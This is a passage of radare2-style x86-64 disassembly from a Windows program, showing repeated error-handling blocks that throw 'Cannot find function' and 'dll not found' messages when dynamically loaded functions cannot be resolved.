call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x138]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_9.
lea rcx, [rsp + 0x150]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x150]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_10.
lea rcx, [rsp + 0x168]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x168]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_11.
lea rcx, [rsp + 0x180]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x180]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_12.
lea rcx, [rsp + 0x198]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x198]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_13.
lea rcx, [rsp + 0x1b0]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x1b0]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_15.
lea rcx, [rsp + 0x1c8]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x1c8]
call fcn.140030ce0
lea rdx, str.dll_2__not_found.
lea rcx, [rsp + 0x1e0]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x1e0]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a1.
lea rcx, [rsp + 0x1f8]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x1f8]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a3.
lea rcx, [rsp + 0x210]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x210]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a6.
lea rcx, [rsp + 0x30]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x30]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a7.
lea rcx, [rsp + 0x48]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x48]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a9.
lea rcx, [rsp + 0x60]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x60]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a10.
lea rcx, [rsp + 0x78]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x78]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a2.
lea rcx, [rsp + 0x90]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x90]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a4.
lea rcx, [rsp + 0xa8]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0xa8]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a5.
lea rcx, [rsp + 0xc0]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0xc0]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a8.
lea rcx, [rsp + 0xd8]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0xd8]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_a11.
lea rcx, [rsp + 0xf0]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0xf0]
call fcn.140030ce0
int3